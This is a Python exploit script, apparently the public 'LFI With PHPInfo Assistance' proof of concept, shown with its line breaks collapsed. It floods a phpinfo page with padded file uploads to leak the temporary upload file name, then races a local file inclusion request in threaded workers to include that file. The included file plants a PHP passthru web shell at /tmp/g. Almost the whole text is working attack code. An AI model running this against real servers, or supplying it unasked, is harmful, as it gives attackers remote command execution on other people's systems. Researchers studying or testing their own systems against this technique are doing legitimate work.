#!/usr/bin/python # https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?load=%s%%00 HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] =>") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] =>") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": print "Don't forget to modify the LFI URL" main()